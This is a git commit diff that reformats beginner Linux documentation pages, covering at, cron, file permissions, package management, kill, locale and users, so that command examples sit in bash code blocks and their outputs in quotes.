change formatting
input examples are now given as ```bash input $ARG1 ``` While outputs use md's '> ' sign as a quote.
This commit is contained in:
parent
1ba3010b81
commit
ba8026e0c3
54
basics/at.md
54
basics/at.md
@ -4,29 +4,45 @@ tags: [ "Documentation", "Basics" ]
|
||||
---
|
||||
Install with:
|
||||
|
||||
> sudo apt install at
|
||||
```bash
|
||||
sudo apt install at
|
||||
```
|
||||
|
||||
Enable the daemon service with:
|
||||
|
||||
> sudo systemctl enable --now atd
|
||||
```bash
|
||||
sudo systemctl enable --now atd
|
||||
```
|
||||
|
||||
Then jobs can be specified with absolute time, such as:
|
||||
|
||||
> at 16:20
|
||||
```bash
|
||||
at 16:20
|
||||
```
|
||||
|
||||
> at noon
|
||||
```bash
|
||||
at noon
|
||||
```
|
||||
|
||||
> at midnight
|
||||
```bash
|
||||
at midnight
|
||||
```
|
||||
|
||||
> at teatime
|
||||
```bash
|
||||
at teatime
|
||||
```
|
||||
|
||||
Type in your command, e.g.:
|
||||
|
||||
> touch /tmp/myFile.txt
|
||||
```bash
|
||||
touch /tmp/$FILE.txt
|
||||
```
|
||||
|
||||
The jobs can also be specified relative to the current time:
|
||||
|
||||
> at now +15 minutes
|
||||
```bash
|
||||
at now +15 minutes
|
||||
```
|
||||
|
||||
Finally, accept the jobs with ^D.
|
||||
|
||||
@ -34,24 +50,28 @@ Finally, accept the jobs with ^D.
|
||||
|
||||
Display a list of commands to run with:
|
||||
|
||||
> atq
|
||||
```bash
|
||||
atq
|
||||
```
|
||||
|
||||
`2 Sat Oct 20 16:00:00 2018 a roach-1`
|
||||
> 2 Sat Oct 20 16:00:00 2018 a roach-1
|
||||
|
||||
This will print all pending IDs. Remove a job by the ID with:
|
||||
|
||||
> atrm 2
|
||||
```bash
|
||||
atrm 2
|
||||
```
|
||||
|
||||
Check /var/spool/atd/
|
||||
Check `/var/spool/atd/` to see the jobs.
|
||||
|
||||
## Automation
|
||||
|
||||
Automatically add a job for later, by setting the date, then using echo for the command.
|
||||
|
||||
> t="$(date -d "2 minutes" +%R)"
|
||||
|
||||
> echo "fortune > ~/file" | at "$t"
|
||||
|
||||
> watch cat file
|
||||
```bash
|
||||
t="$(date -d "2 minutes" +%R)"
|
||||
echo "fortune > ~/$FILE" | at "$t"
|
||||
watch cat $FILE
|
||||
```
|
||||
|
||||
The `$t` here outputs the day in minutes, but you could also do `t="$(date -d "2 days" +%m/%d/%Y)"`.
|
||||
|
213
basics/basics.md
213
basics/basics.md
@ -9,91 +9,136 @@ Don't worry about understanding any of it, just type it in and the habit forms p
|
||||
|
||||
You start in a dark room. You want to know where you are by **p**rinting out your **w**orking '**d**irectory' (i.e. 'location'):
|
||||
|
||||
> pwd
|
||||
```bash
|
||||
pwd
|
||||
```
|
||||
|
||||
Have a look at what is here:
|
||||
|
||||
> ls
|
||||
```bash
|
||||
ls
|
||||
```
|
||||
|
||||
If you get no response, the list of items is "", meaning "nothing here".
|
||||
|
||||
Have a look at **a**ll the files:
|
||||
|
||||
> ls -a
|
||||
```bash
|
||||
ls -a
|
||||
```
|
||||
|
||||
`. ..`
|
||||
```bash
|
||||
. ..
|
||||
```
|
||||
|
||||
So `.` means 'here' and `..` means 'you see stairs leading downwards' (e.g. 'the directory behind you').
|
||||
|
||||
Change directory (`cd`) down one level:
|
||||
|
||||
> cd ..
|
||||
```bash
|
||||
cd ..
|
||||
```
|
||||
|
||||
Look where you are again with `pwd`, then go back up. Use `ls`, and if you see `bob`, then:
|
||||
|
||||
> cd bob
|
||||
```bash
|
||||
cd bob
|
||||
```
|
||||
|
||||
Move around the directories. The place at the bottom is the 'root', and is known as `/`. Go to the root:
|
||||
|
||||
> cd /
|
||||
```bash
|
||||
cd /
|
||||
```
|
||||
|
||||
Do `ls` again and change into `etc`. Look at how much space those folders are taking up:
|
||||
Do `ls` again and `cd` into `etc`. Look at how much space those folders are taking up:
|
||||
|
||||
> du iptables
|
||||
```bash
|
||||
du iptables
|
||||
```
|
||||
That's the number of kilobytes the file is taking up.
|
||||
Do the same again, but in a human-readable format:
|
||||
|
||||
That's the number of kilobytes the file is taking up. Do the same again, but in a human-readable format:
|
||||
```bash
|
||||
du -h iptables
|
||||
```
|
||||
|
||||
> du -h iptables
|
||||
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands.
|
||||
Have a look at the manual and try another command:
|
||||
|
||||
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands. Have a look at the manual and try another command:
|
||||
|
||||
> man du
|
||||
```bash
|
||||
man du
|
||||
```
|
||||
|
||||
Once you're done, press 'q' to quit the manual page and try the extra `du` flag you've found.
|
||||
|
||||
Now you can try to gain super-powers and take over the system:
|
||||
|
||||
> sudo -i
|
||||
```bash
|
||||
sudo -i
|
||||
```
|
||||
|
||||
At this point, you are 'root'. All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine. Best to exit out of the root account:
|
||||
At this point, you are 'root'.
|
||||
All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine.
|
||||
Best to exit out of the root account:
|
||||
|
||||
> exit
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
|
||||
Go find a file that isn't a directory. You can tell which is which with:
|
||||
|
||||
> ls -l
|
||||
```bash
|
||||
ls -l
|
||||
```
|
||||
|
||||
A directory starts with a 'd', like this:
|
||||
|
||||
`drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/`
|
||||
```bash
|
||||
drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/
|
||||
```
|
||||
|
||||
A standard file starts with '-', like this:
|
||||
|
||||
```bash
|
||||
`-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname`
|
||||
```
|
||||
|
||||
Look inside the file /etc/hostname to find out your computer's name:
|
||||
|
||||
> cat /etc/hostname
|
||||
```bash
|
||||
cat /etc/hostname
|
||||
```
|
||||
|
||||
Print out the words "hello world":
|
||||
|
||||
> echo "hello world"
|
||||
```bash
|
||||
echo "hello world"
|
||||
```
|
||||
|
||||
Move back to your home directory:
|
||||
|
||||
> cd
|
||||
```bash
|
||||
cd
|
||||
```
|
||||
|
||||
Take the words 'hello world', and put them in 'my_file':
|
||||
|
||||
> echo 'hello world' > my_file
|
||||
```bash
|
||||
echo 'hello world' > my_file
|
||||
```
|
||||
|
||||
Measure the disk usage of that file, then put the results at the bottom of the file:
|
||||
|
||||
> du my_file >> my_file
|
||||
```bash
|
||||
du $FILE >> $FILE
|
||||
```
|
||||
|
||||
And check the results:
|
||||
|
||||
> cat my_file
|
||||
```bash
|
||||
cat $FILE
|
||||
```
|
||||
|
||||
# Autocompletion
|
||||
|
||||
@ -103,50 +148,70 @@ Press tab after typing a few keys and bash will guess what you're trying to typ
|
||||
|
||||
Look at your file's owner:
|
||||
|
||||
> ls -l my_file
|
||||
```bash
|
||||
ls -l $FILE
|
||||
```
|
||||
|
||||
If it says `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` then the file is owned by 'root'.
|
||||
|
||||
Take your file and change the owner to root:
|
||||
|
||||
> sudo chown root my_file
|
||||
```bash
|
||||
sudo chown root $FILE
|
||||
```
|
||||
|
||||
Change the same file so it's owned by the group 'audio':
|
||||
|
||||
> sudo chown :audio my_file
|
||||
```bash
|
||||
sudo chown :audio $FILE
|
||||
```
|
||||
|
||||
Check you did that correctly:
|
||||
|
||||
> ls -l my_file
|
||||
```bash
|
||||
ls -l my_file
|
||||
```
|
||||
|
||||
`-rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file`
|
||||
> -rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file
|
||||
|
||||
Read the start of that line. Root can 'read' and 'write' to or delete the file. Try to remove (delete) it:
|
||||
|
||||
> rm my_file
|
||||
```bash
|
||||
rm $FILE
|
||||
```
|
||||
|
||||
You'll see you're not allowed, because you don't own it.
|
||||
|
||||
Look at which groups you're in:
|
||||
|
||||
> groups
|
||||
```bash
|
||||
groups
|
||||
```
|
||||
|
||||
Change the file so that members of the audio group can write to the file:
|
||||
|
||||
> sudo chmod g+w my_file
|
||||
```bash
|
||||
sudo chmod g+w $FILE
|
||||
```
|
||||
|
||||
Check you got it right with `ls -l`:
|
||||
|
||||
> -rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
|
||||
```bash
|
||||
-rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
|
||||
```
|
||||
|
||||
Try to delete the file again:
|
||||
|
||||
> rm my_file
|
||||
```bash
|
||||
rm my_file
|
||||
```
|
||||
|
||||
If you can't, you're not in the audio group. Add yourself. You'll need to *modify* your *user account*, by **a**ppending 'audio' to your list of groups.
|
||||
Use `-a` to **a**ppend, and `-G`, to say you're modifying groups:
|
||||
|
||||
> sudo usermod -a -G audio [ your username here ]
|
||||
```bash
|
||||
sudo usermod -a -G audio [ your username here ]
|
||||
```
|
||||
|
||||
Now you should be able to remove (delete) the file. Remember, that using 'rm file' will not send it to a recycling bin. The file is gone.
|
||||
|
||||
@ -154,59 +219,83 @@ Now you should be able to remove (delete) the file. Remember, that using 'rm fi
|
||||
|
||||
Make a directory called 'new test':
|
||||
|
||||
> mkdir 'new test'
|
||||
```bash
|
||||
mkdir 'new test'
|
||||
```
|
||||
|
||||
Make two directories, called 'A', and 'Z':
|
||||
|
||||
> mkdir A Z
|
||||
```bash
|
||||
mkdir A Z
|
||||
```
|
||||
|
||||
Make a single directory called 'A Z'
|
||||
|
||||
> mkdir 'A Z'
|
||||
```bash
|
||||
mkdir 'A Z'
|
||||
```
|
||||
|
||||
# Text Searches
|
||||
|
||||
Measure the disk usage of everything ('\*' means 'everything'), and put it in a file called 'disk usage.txt':
|
||||
|
||||
> du -sch * > A/'disk usage'.txt
|
||||
```bash
|
||||
du -sch * > A/'disk usage'.txt
|
||||
```
|
||||
|
||||
Look at your file:
|
||||
|
||||
> cat A/'disk usage.txt'
|
||||
```bash
|
||||
cat A/'disk usage.txt'
|
||||
```
|
||||
|
||||
If you think you have too much information, use `grep` to just get the one line of text you want:
|
||||
|
||||
> grep total A/disk\ usage.txt
|
||||
```bash
|
||||
grep total A/disk\ usage.txt
|
||||
```
|
||||
|
||||
The `grep` program also has a manual ('man page'). You should find out what that `-c` flag does, but the manual is too long to read.
|
||||
|
||||
Start the manual:
|
||||
|
||||
> man du
|
||||
```bash
|
||||
man du
|
||||
```
|
||||
|
||||
Then search for `-c` by pressing `/`. Your final keys should be `man du`, then `/-c`
|
||||
|
||||
Find out if the `ls` program also has a 'human readable' format by using `grep` to search for the word 'human':
|
||||
|
||||
> man ls | grep human
|
||||
```bash
|
||||
man ls | grep human
|
||||
```
|
||||
|
||||
Now use that flag that you've found in combinatin with the `-l` flag to look at a file.
|
||||
|
||||
Remove the directory 'Z':
|
||||
|
||||
> rmdir Z
|
||||
```bash
|
||||
rmdir Z
|
||||
```
|
||||
|
||||
Remove the directory 'Z':
|
||||
|
||||
> rmdir Z
|
||||
```bash
|
||||
rmdir Z
|
||||
```
|
||||
|
||||
And then remove all the rest:
|
||||
|
||||
> rmdir *
|
||||
```bash
|
||||
rmdir *
|
||||
```
|
||||
|
||||
The 'A' directory will not budge because it's not empty. Remove it recursively, so the computer will remove the things inside the directory as well as the directory itself:
|
||||
|
||||
> rm -r A
|
||||
```bash
|
||||
rm -r A
|
||||
```
|
||||
|
||||
# Installation
|
||||
|
||||
@ -214,34 +303,48 @@ You get a package manager which installs programs, fonts, et c.
|
||||
If you're on something like Debian, you'll have `apt`, or if you're on something like Red Hat, you'll have `yum`.
|
||||
If unsure, ask where a program is:
|
||||
|
||||
> whereis yum
|
||||
```bash
|
||||
whereis yum
|
||||
```
|
||||
|
||||
> whereis apt
|
||||
```bash
|
||||
whereis apt
|
||||
```
|
||||
|
||||
If you get a hit, you can use whatever program that is to install things.
|
||||
|
||||
Set a reminder of your package manager:
|
||||
|
||||
> echo my package manager is yum | lolcat
|
||||
```bash
|
||||
echo my package manager is yum | lolcat
|
||||
```
|
||||
|
||||
If that failed it's because you don't have `lolcat` installed.
|
||||
Install lolcat:
|
||||
|
||||
> sudo apt install lolcat
|
||||
```bash
|
||||
sudo apt install lolcat
|
||||
```
|
||||
|
||||
Try the same command again.
|
||||
|
||||
Search for things you want, like `libreoffice`, or `gimp`:
|
||||
|
||||
> apt search libreoffice
|
||||
```bash
|
||||
apt search libreoffice
|
||||
```
|
||||
|
||||
... then install one of them with:
|
||||
|
||||
> apt install [ thing ]
|
||||
```bash
|
||||
apt install $PROGRAM
|
||||
```
|
||||
|
||||
Remove `lolcat`, because it's useless:
|
||||
|
||||
> sudo apt remove lolcat
|
||||
```bash
|
||||
sudo apt remove lolcat
|
||||
```
|
||||
|
||||
... and that's pretty much it. You can move, create, destroy, install things, and look things up.
|
||||
|
||||
|
@ -5,27 +5,39 @@ tags: [ "Documentation", "Basics" ]
|
||||
|
||||
Show system time:
|
||||
|
||||
> date
|
||||
```bash
|
||||
date
|
||||
```
|
||||
|
||||
Show hardware time:
|
||||
|
||||
> sudo hwclock -r
|
||||
```bash
|
||||
sudo hwclock -r
|
||||
```
|
||||
|
||||
Change system time to match hardware time:
|
||||
|
||||
> sudo hwclock --hctosys
|
||||
```bash
|
||||
sudo hwclock --hctosys
|
||||
```
|
||||
|
||||
Change hardware time to match system time:
|
||||
|
||||
> sudo hwclock --systohc
|
||||
```bash
|
||||
sudo hwclock --systohc
|
||||
```
|
||||
|
||||
Manually set the hardware time to a specified date:
|
||||
|
||||
> sudo hwclock --set --date="8/25/19 13:30:00"
|
||||
```bash
|
||||
sudo hwclock --set --date="8/25/19 13:30:00"
|
||||
```
|
||||
|
||||
## Normal Date
|
||||
|
||||
> date +%d/%m/%y
|
||||
```bash
|
||||
date +%d/%m/%y
|
||||
```
|
||||
|
||||
# Unix Time
|
||||
|
||||
@ -33,7 +45,9 @@ Computers started counting time on January 1st, 1970, and added one second-per-s
|
||||
|
||||
Track the time in Unix-time:
|
||||
|
||||
> date +%s
|
||||
```bash
|
||||
date +%s
|
||||
```
|
||||
|
||||
# Network Time Providers
|
||||
|
||||
@ -41,9 +55,13 @@ Servers which take their time from an observatory we call Stratum 1 servers. Se
|
||||
|
||||
Install ntp with:
|
||||
|
||||
> sudo apt-get install -y ntp
|
||||
```bash
|
||||
sudo apt-get install -y ntp
|
||||
```
|
||||
|
||||
The shell command for this is `ntpq`. Monitor the service providers using:
|
||||
|
||||
> ntpq -p
|
||||
```bash
|
||||
ntpq -p
|
||||
```
|
||||
|
||||
|
@ -41,29 +41,28 @@ case $CRE in
|
||||
owlbears | monsters ) echo "Really you're a wizard fan"
|
||||
;;
|
||||
esac
|
||||
```
|
||||
|
||||
# While and Until
|
||||
This prints from 1 until 9.
|
||||
|
||||
> COUNTER=1
|
||||
|
||||
> while [ $COUNTER -lt 2 ]; do
|
||||
|
||||
```bash
|
||||
COUNTER=1
|
||||
while [ $COUNTER -lt 2 ]; do
|
||||
> ((COUNTER++))
|
||||
|
||||
> echo $COUNTER
|
||||
|
||||
> done
|
||||
|
||||
```
|
||||
|
||||
There's also 'until', which stops when something is true, rather than keeping going when something is true.
|
||||
|
||||
# For
|
||||
|
||||
> for i in $( ls ); do
|
||||
```bash
|
||||
for i in $( ls ); do
|
||||
> du -sh $i
|
||||
> done
|
||||
```
|
||||
|
||||
# Sequences
|
||||
|
||||
@ -71,13 +70,19 @@ The sequences tool counts up from X in jumps of Y to number Z.
|
||||
|
||||
Count from 1 to 10.
|
||||
|
||||
> seq 10
|
||||
```bash
|
||||
seq 10
|
||||
```
|
||||
|
||||
Count from 4 to 11.
|
||||
|
||||
> seq 4 11
|
||||
```bash
|
||||
seq 4 11
|
||||
```
|
||||
|
||||
Count from 1 to 100 in steps of 5.
|
||||
|
||||
> seq 1 5 100
|
||||
```bash
|
||||
seq 1 5 100
|
||||
```
|
||||
|
||||
|
@ -6,24 +6,29 @@ tags: [ "Documentation", "Basics" ]
|
||||
|
||||
The crontab program might have various names, like `cronie` or `crond`.
|
||||
|
||||
> sudo apt search -n ^cron
|
||||
```bash
|
||||
sudo apt search -n ^cron
|
||||
```
|
||||
|
||||
Once installed, search for the service name, and start it.
|
||||
|
||||
> sudo systemctl list-unit-files | grep cron
|
||||
```bash
|
||||
sudo systemctl list-unit-files | grep cron
|
||||
```
|
||||
|
||||
> sudo systemctl enable --now cron
|
||||
```bash
|
||||
sudo systemctl enable --now cron
|
||||
```
|
||||
|
||||
You can *e*dit your crontab with:
|
||||
|
||||
> crontab -e
|
||||
|
||||
|
||||
```bash
|
||||
crontab -e
|
||||
```
|
||||
|
||||
39 */3 * * * /usr/bin/updatedb
|
||||
|
||||
```
|
||||
> 39 */3 * * * /usr/bin/updatedb
|
||||
|
||||
## Syntax
|
||||
|
||||
`* * * * *`
|
||||
@ -34,29 +39,33 @@ These five points refer to:
|
||||
|
||||
So '3pm every Sunday' would be:
|
||||
|
||||
`0 15 * * 7`
|
||||
> 0 15 * * 7
|
||||
|
||||
Here 'Sunday' is indicated by "7", and '3pm' is 'the 15th hour'.
|
||||
The minute is '0' (i.e. '0 minutes past three pm').
|
||||
|
||||
Doing the same thing, but only in February, would be:
|
||||
|
||||
`0 15 * 2 7`
|
||||
> 0 15 * 2 7
|
||||
|
||||
### Full Paths
|
||||
|
||||
Executing something requires the full path to where it is, so you cannot simply use `apt update -y`, because cron does not know where `apt` is.
|
||||
Instead, find out where it is:
|
||||
|
||||
> type -P apt
|
||||
```bash
|
||||
type -P apt
|
||||
```
|
||||
|
||||
`/usr/bin/apt`
|
||||
|
||||
Then put that into the crontab:
|
||||
|
||||
> sudo crontab -e
|
||||
```bash
|
||||
sudo crontab -e
|
||||
```
|
||||
|
||||
`40 */3 * * * /usr/bin/apt update -y`
|
||||
> 40 */3 * * * /usr/bin/apt update -y
|
||||
|
||||
This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour, e.g. 00:40, 03:40, 06:40.
|
||||
|
||||
@ -65,13 +74,17 @@ This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour
|
||||
You can execute a script as root by putting it into a directory, instead of in the tab.
|
||||
Look at the available cron directories:
|
||||
|
||||
> ls /etc/cron.\*
|
||||
```bash
|
||||
ls /etc/cron.\*
|
||||
```
|
||||
|
||||
### Testing with runparts
|
||||
|
||||
Run-parts runs all executable scripts in a directory.
|
||||
|
||||
> run-parts /etc/cron.hourly
|
||||
```bash
|
||||
run-parts /etc/cron.hourly
|
||||
```
|
||||
|
||||
## Tips
|
||||
|
||||
@ -84,12 +97,16 @@ First add `HOME=/home/user`, then you can use syntax like this:
|
||||
|
||||
*Remember to test the script by executing that line first*:
|
||||
|
||||
> $HOME/.scripts/myScript.sh
|
||||
```bash
|
||||
$HOME/.scripts/myScript.sh
|
||||
```
|
||||
|
||||
You can also add your regular path to your crontab as a variable (see example below).
|
||||
If you're using vim as the editor, just run this at the top of your crontab:
|
||||
|
||||
> :r!echo PATH=$PATH
|
||||
```bash
|
||||
:r!echo PATH=$PATH
|
||||
```
|
||||
|
||||
### `date` Commands
|
||||
|
||||
|
@ -10,17 +10,25 @@ Kernel modules live in lib/modules/$(uname -r)
|
||||
|
||||
Load them with
|
||||
|
||||
> sudo modprobe ath9k
|
||||
```bash
|
||||
sudo modprobe ath9k
|
||||
```
|
||||
|
||||
Or remove one with
|
||||
|
||||
> sudo modprove uvcvideo
|
||||
```bash
|
||||
sudo modprove uvcvideo
|
||||
```
|
||||
|
||||
The PC's irritating speaker beep can be really annoying. Disable it with:
|
||||
|
||||
> sudo modprobe -r pcspeaker
|
||||
```bash
|
||||
sudo modprobe -r pcspeaker
|
||||
```
|
||||
|
||||
Permanently disable a module by blacklisting it in `/etc/modprobe.d`:
|
||||
|
||||
> echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
|
||||
```bash
|
||||
echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
|
||||
```
|
||||
|
||||
|
@ -7,7 +7,9 @@ If you want to kill a program in a graphical environment, open a terminal and ty
|
||||
|
||||
# Graphical Programs
|
||||
|
||||
> xkill
|
||||
```bash
|
||||
xkill
|
||||
```
|
||||
|
||||
Then click on the application which you want to kill.
|
||||
|
||||
@ -15,23 +17,31 @@ Then click on the application which you want to kill.
|
||||
|
||||
To kill a program, find it with:
|
||||
|
||||
> pgrep discord
|
||||
```bash
|
||||
pgrep discord
|
||||
```
|
||||
|
||||
This will give you the UUID, e.g. `19643`.
|
||||
|
||||
Kill the program with:
|
||||
|
||||
> kill 19643
|
||||
```bash
|
||||
kill 19643
|
||||
```
|
||||
|
||||
# Types of Kill
|
||||
|
||||
To see an ordered list of termination signals:
|
||||
|
||||
> kill -l
|
||||
```bash
|
||||
kill -l
|
||||
```
|
||||
|
||||
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
|
||||
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
|
||||
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
|
||||
> 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
|
||||
|
||||
> 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
|
||||
|
||||
> 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
|
||||
|
||||
|
||||
You can select these levels with a '- number'.
|
||||
@ -39,18 +49,24 @@ Higher numbers are roughly equivalent to insistence.
|
||||
|
||||
For example:
|
||||
|
||||
> kill -1 3498
|
||||
```bash
|
||||
kill -1 3498
|
||||
```
|
||||
|
||||
This roughly means 'maybe stop the program, if you can, maybe reload'.
|
||||
|
||||
Or the famous:
|
||||
|
||||
> kill -9 3298
|
||||
```bash
|
||||
kill -9 3298
|
||||
```
|
||||
|
||||
This means 'kill the program dead, now, no questions, dead'.
|
||||
|
||||
**Beware** - if Firefox starts another program to connect to the internet, and you `kill -9 firefox`, this will leave all of Firefox's internet connection programs ("children") still there, but dead and useless.
|
||||
|
||||
# Sobriquets
|
||||
|
||||
- A dead program which sits there doing nothing is known as a 'zombie'.
|
||||
- A program which is run by another program is called a 'child program'.
|
||||
- A child whose parent program is dead is called an 'orphan'.
|
||||
|
@ -4,12 +4,16 @@ tags: [ "Documentation", "Basics" ]
|
||||
---
|
||||
Link from X to Y.
|
||||
|
||||
> ln -s X ../otherdir/Y
|
||||
```bash
|
||||
ln -s X ../otherdir/Y
|
||||
```
|
||||
|
||||
If you want a hard link, this will make a single file exist in two locations.
|
||||
If it is deleted in one location, it continues to exist in the other.
|
||||
|
||||
> ln *X* *Y*
|
||||
```bash
|
||||
ln *X* *Y*
|
||||
```
|
||||
|
||||
Both files must be on the same hard drive, as they have the same inode (check this with `ls -i file`).
|
||||
|
||||
|
@ -3,29 +3,40 @@ title: "locale"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
---
|
||||
|
||||
Your locale tells the computer your location, preferred time-and-date format, standard language, papersize, et c.
|
||||
A list of supported locales is available at /usr/share/i18n/SUPPORTED
|
||||
|
||||
See a full list with:
|
||||
|
||||
> cat /usr/share/i18n/SUPPORTED
|
||||
```bash
|
||||
cat /usr/share/i18n/SUPPORTED
|
||||
```
|
||||
|
||||
Take the first portion to generate full locale information for a region:
|
||||
|
||||
> locale-gen ru_RU.UTF-8
|
||||
```bash
|
||||
locale-gen ru_RU.UTF-8
|
||||
```
|
||||
|
||||
Then use this for the current shell session with
|
||||
|
||||
> LANG=ru_RU.utf8
|
||||
```bash
|
||||
LANG=ru_RU.utf8
|
||||
```
|
||||
|
||||
Expand this to the entire system with:
|
||||
|
||||
> export LANG=ru_RU.utf8
|
||||
```bash
|
||||
export LANG=ru_RU.utf8
|
||||
```
|
||||
|
||||
You can make this permanent for one user by adding this line to the ~/.profile or ~/.bashrc.
|
||||
|
||||
Make it permanent for the entire system by editing:
|
||||
|
||||
> sudo vim /etc/defaults/locale
|
||||
```bash
|
||||
sudo vim /etc/defaults/locale
|
||||
```
|
||||
|
||||
# Variables
|
||||
|
||||
|
@ -6,7 +6,9 @@ tags: [ "Documentation", "Basics" ]
|
||||
|
||||
`type` shows what kind of thing you're running, be it an alias, function, or binary program.
|
||||
|
||||
> type cmus
|
||||
```bash
|
||||
type cmus
|
||||
```
|
||||
|
||||
# Whereis the Program
|
||||
|
||||
@ -16,18 +18,24 @@ Ask where the `angband` program is, along with all its configuration files:
|
||||
|
||||
Also `which` shows where a binary file (the program) is,
|
||||
|
||||
> which cmus
|
||||
```bash
|
||||
which cmus
|
||||
```
|
||||
|
||||
# Quick Search for Files
|
||||
|
||||
You'll need to set up `locate` for this by installing `mlocate`.
|
||||
`mlocate` needs a list of all files on the machine, so run:
|
||||
|
||||
> sudo updatedb
|
||||
```bash
|
||||
sudo updatedb
|
||||
```
|
||||
|
||||
Then to find a file called 'my-cats.jpg', run:
|
||||
|
||||
> locate cats
|
||||
```bash
|
||||
locate cats
|
||||
```
|
||||
|
||||
For best results, run `updatedb` regularly, perhaps in crontab.
|
||||
|
||||
|
@ -6,23 +6,33 @@ tags: [ "Documentation", "Basics" ]
|
||||
|
||||
See running items in current terminal with
|
||||
|
||||
> ps
|
||||
```bash
|
||||
ps
|
||||
```
|
||||
|
||||
or more with
|
||||
|
||||
> ps -a
|
||||
```bash
|
||||
ps -a
|
||||
```
|
||||
|
||||
Or the entire system with
|
||||
|
||||
> ps -e
|
||||
```bash
|
||||
ps -e
|
||||
```
|
||||
|
||||
Or the entire system with more information, BSD style, with:
|
||||
|
||||
> ps aux
|
||||
```bash
|
||||
ps aux
|
||||
```
|
||||
|
||||
And then search for a particular program with
|
||||
|
||||
> ps aux | grep cmus
|
||||
```bash
|
||||
ps aux | grep cmus
|
||||
```
|
||||
|
||||
# Jobs
|
||||
|
||||
@ -30,15 +40,21 @@ Pause a job with ^z. Put it in the background with the '&' suffix.
|
||||
|
||||
List jobs in the current shell with
|
||||
|
||||
> jobs
|
||||
```bash
|
||||
jobs
|
||||
```
|
||||
|
||||
And then you can pull number 1 up again with
|
||||
|
||||
> fg 1
|
||||
```bash
|
||||
fg 1
|
||||
```
|
||||
|
||||
Or continue running a stopped job with:
|
||||
|
||||
> bg 1
|
||||
```bash
|
||||
bg 1
|
||||
```
|
||||
|
||||
# Nice
|
||||
|
||||
@ -46,21 +62,31 @@ This changes how nice a program is, from -20 to 19.
|
||||
|
||||
Install a program, but nicely, at nice value '10':
|
||||
|
||||
> nice -10 sudo apt -y install libreoffice
|
||||
```bash
|
||||
nice -10 sudo apt -y install libreoffice
|
||||
```
|
||||
|
||||
Aggressively use Steam, with a nice value of '-13'.
|
||||
|
||||
> nice --13 steam&
|
||||
```bash
|
||||
nice --13 steam&
|
||||
```
|
||||
|
||||
Find out that Steam's fucking everything up, so you change its nice value with 'renice':
|
||||
|
||||
> renice --5 -p 3781
|
||||
```bash
|
||||
renice --5 -p 3781
|
||||
```
|
||||
|
||||
Nerf all of roach-1's processes:
|
||||
|
||||
> renice 10 -u roach-1
|
||||
```bash
|
||||
renice 10 -u roach-1
|
||||
```
|
||||
|
||||
... or the entire group
|
||||
|
||||
> renice -14 -g hackers
|
||||
```bash
|
||||
renice -14 -g hackers
|
||||
```
|
||||
|
||||
|
@ -6,7 +6,9 @@ tags: [ "Documentation", "Basics" ]
|
||||
|
||||
Set time to synchronize with an ntp server:
|
||||
|
||||
> timedatectl set-ntp true
|
||||
```bash
|
||||
timedatectl set-ntp true
|
||||
```
|
||||
|
||||
This info stays in `/usr/share/zoneinfo`.
|
||||
|
||||
@ -16,7 +18,9 @@ Local time is kept in /etc/localtime.
|
||||
|
||||
According to Dave's LPIC guide, you can set the local time by making asymboling link from your timezone to /etc/localtime, as so:
|
||||
|
||||
> sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```bash
|
||||
sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```
|
||||
|
||||
...however this produced the wrong time for me. Further, /etc/localtime produces an output with cat, while the zoneinfo files do not.
|
||||
|
||||
@ -24,23 +28,33 @@ According to Dave's LPIC guide, you can set the local time by making asymboling
|
||||
|
||||
See local time, language and character settings with:
|
||||
|
||||
> locale
|
||||
```bash
|
||||
locale
|
||||
```
|
||||
|
||||
List available locales with:
|
||||
|
||||
> locale -a
|
||||
```bash
|
||||
locale -a
|
||||
```
|
||||
|
||||
To see additional locales which are available (but not necessarily installed):
|
||||
|
||||
> cat /usr/share/i18n/SUPPORTED
|
||||
```bash
|
||||
cat /usr/share/i18n/SUPPORTED
|
||||
```
|
||||
|
||||
Set a supported locale with:
|
||||
|
||||
> locale-gen pl_PL.UTF-8
|
||||
```bash
|
||||
locale-gen pl_PL.UTF-8
|
||||
```
|
||||
|
||||
Then set that language, with:
|
||||
|
||||
> LANG=pl_PL.UTF-8
|
||||
```bash
|
||||
LANG=pl_PL.UTF-8
|
||||
```
|
||||
|
||||
... then reboot.
|
||||
|
||||
@ -48,7 +62,9 @@ Then set that language, with:
|
||||
|
||||
Glimpse an overview with:
|
||||
|
||||
> ntpq -p
|
||||
```bash
|
||||
ntpq -p
|
||||
```
|
||||
|
||||
Usually this is run as a service, so just start that service.
|
||||
|
||||
|
158
basics/users.md
158
basics/users.md
@ -6,91 +6,133 @@ tags: [ "Documentation", "Basics" ]
|
||||
|
||||
Let's get some entries with 'getent', e.g. passwd or group.
|
||||
|
||||
> getent passwd
|
||||
```bash
|
||||
getent passwd
|
||||
```
|
||||
|
||||
> getent group
|
||||
```bash
|
||||
getent group
|
||||
```
|
||||
|
||||
Obviously:
|
||||
|
||||
> getent shadow
|
||||
```bash
|
||||
getent shadow
|
||||
```
|
||||
|
||||
## Examples
|
